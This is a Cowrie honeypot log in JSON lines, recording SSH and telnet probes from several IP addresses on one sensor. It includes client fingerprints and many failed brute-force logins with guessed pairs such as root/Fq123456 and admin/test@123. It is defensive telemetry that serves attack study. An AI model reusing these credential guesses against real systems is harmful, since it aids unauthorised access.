{"eventid":"cowrie.session.closed","duration":38.02407670021057,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:30.839878Z","src_ip":"104.245.105.2","session":"f655c2edc417","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":48864,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d4668ebd60d","protocol":"ssh","message":"New connection: 46.24.47.94:48864 (10.17.0.5:22) [session: 4d4668ebd60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:40.159556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:40.164986Z","src_ip":"46.24.47.94","session":"4d4668ebd60d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:40.271906Z","src_ip":"46.24.47.94","session":"4d4668ebd60d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":59464,"dst_ip":"10.17.0.5","dst_port":22,"session":"1306c1f8e094","protocol":"ssh","message":"New connection: 45.144.233.139:59464 (10.17.0.5:22) [session: 1306c1f8e094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:40.603514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:40.609987Z","src_ip":"45.144.233.139","session":"1306c1f8e094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:40.698511Z","src_ip":"45.144.233.139","session":"1306c1f8e094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Fq123456","message":"login attempt [root/Fq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:40.725108Z","src_ip":"46.24.47.94","session":"4d4668ebd60d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:41.078507Z","src_ip":"45.144.233.139","session":"1306c1f8e094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:41.834021Z","src_ip":"46.24.47.94","session":"4d4668ebd60d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:42.168655Z","src_ip":"45.144.233.139","session":"1306c1f8e094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":45508,"dst_ip":"10.17.0.5","dst_port":23,"session":"f244f520509a","protocol":"telnet","message":"New connection: 20.123.41.163:45508 (10.17.0.5:23) [session: f244f520509a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:53.468325Z"}
{"eventid":"cowrie.session.closed","duration":1.3144614696502686,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:14:54.782681Z","src_ip":"20.123.41.163","session":"f244f520509a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":39998,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c727d5b1c30","protocol":"ssh","message":"New connection: 103.143.231.102:39998 (10.17.0.5:22) [session: 5c727d5b1c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:04.463854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:04.468819Z","src_ip":"103.143.231.102","session":"5c727d5b1c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:04.539428Z","src_ip":"103.143.231.102","session":"5c727d5b1c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test@123","message":"login attempt [admin/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:04.852502Z","src_ip":"103.143.231.102","session":"5c727d5b1c30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:05.925208Z","src_ip":"103.143.231.102","session":"5c727d5b1c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.64.168.136","src_port":45020,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bb68a5f4dff","protocol":"ssh","message":"New connection: 143.64.168.136:45020 (10.17.0.5:22) [session: 9bb68a5f4dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:12.733953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:12.738983Z","src_ip":"143.64.168.136","session":"9bb68a5f4dff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:12.991695Z","src_ip":"143.64.168.136","session":"9bb68a5f4dff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"123qwe","message":"login attempt [tester/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:14.043003Z","src_ip":"143.64.168.136","session":"9bb68a5f4dff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":38462,"dst_ip":"10.17.0.5","dst_port":22,"session":"774a64cd29fb","protocol":"ssh","message":"New connection: 45.144.233.139:38462 (10.17.0.5:22) [session: 774a64cd29fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:29.292895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:29.297258Z","src_ip":"45.144.233.139","session":"774a64cd29fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:29.384197Z","src_ip":"45.144.233.139","session":"774a64cd29fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser1","password":"labuser1","message":"login attempt [labuser1/labuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:29.762036Z","src_ip":"45.144.233.139","session":"774a64cd29fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:30.853321Z","src_ip":"45.144.233.139","session":"774a64cd29fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41310,"dst_ip":"10.17.0.5","dst_port":23,"session":"cadf8609f170","protocol":"telnet","message":"New connection: 104.245.105.2:41310 (10.17.0.5:23) [session: cadf8609f170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:15:36.446643Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":37732,"dst_ip":"10.17.0.5","dst_port":22,"session":"e09787207b87","protocol":"ssh","message":"New connection: 46.24.47.94:37732 (10.17.0.5:22) [session: e09787207b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:03.555722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:03.561079Z","src_ip":"46.24.47.94","session":"e09787207b87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:03.669839Z","src_ip":"46.24.47.94","session":"e09787207b87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wy123456","message":"login attempt [root/wy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:04.135301Z","src_ip":"46.24.47.94","session":"e09787207b87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:05.247144Z","src_ip":"46.24.47.94","session":"e09787207b87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":56578,"dst_ip":"10.17.0.5","dst_port":22,"session":"07cb4ef5fed9","protocol":"ssh","message":"New connection: 103.143.231.102:56578 (10.17.0.5:22) [session: 07cb4ef5fed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:06.928452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:06.933271Z","src_ip":"103.143.231.102","session":"07cb4ef5fed9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:07.004530Z","src_ip":"103.143.231.102","session":"07cb4ef5fed9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.844579219818115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:07.291093Z","src_ip":"104.245.105.2","session":"cadf8609f170","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"passw0rd","message":"login attempt [administrator/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:07.322018Z","src_ip":"103.143.231.102","session":"07cb4ef5fed9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:08.398068Z","src_ip":"103.143.231.102","session":"07cb4ef5fed9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":47158,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b99a224a856","protocol":"ssh","message":"New connection: 45.144.233.139:47158 (10.17.0.5:22) [session: 0b99a224a856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:20.167712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:20.172729Z","src_ip":"45.144.233.139","session":"0b99a224a856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:20.259699Z","src_ip":"45.144.233.139","session":"0b99a224a856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"12345","message":"login attempt [mysql/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:20.642326Z","src_ip":"45.144.233.139","session":"0b99a224a856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":54860,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0d00ec9f3d8","protocol":"ssh","message":"New connection: 152.32.238.146:54860 (10.17.0.5:22) [session: d0d00ec9f3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:16:20.862284Z"}
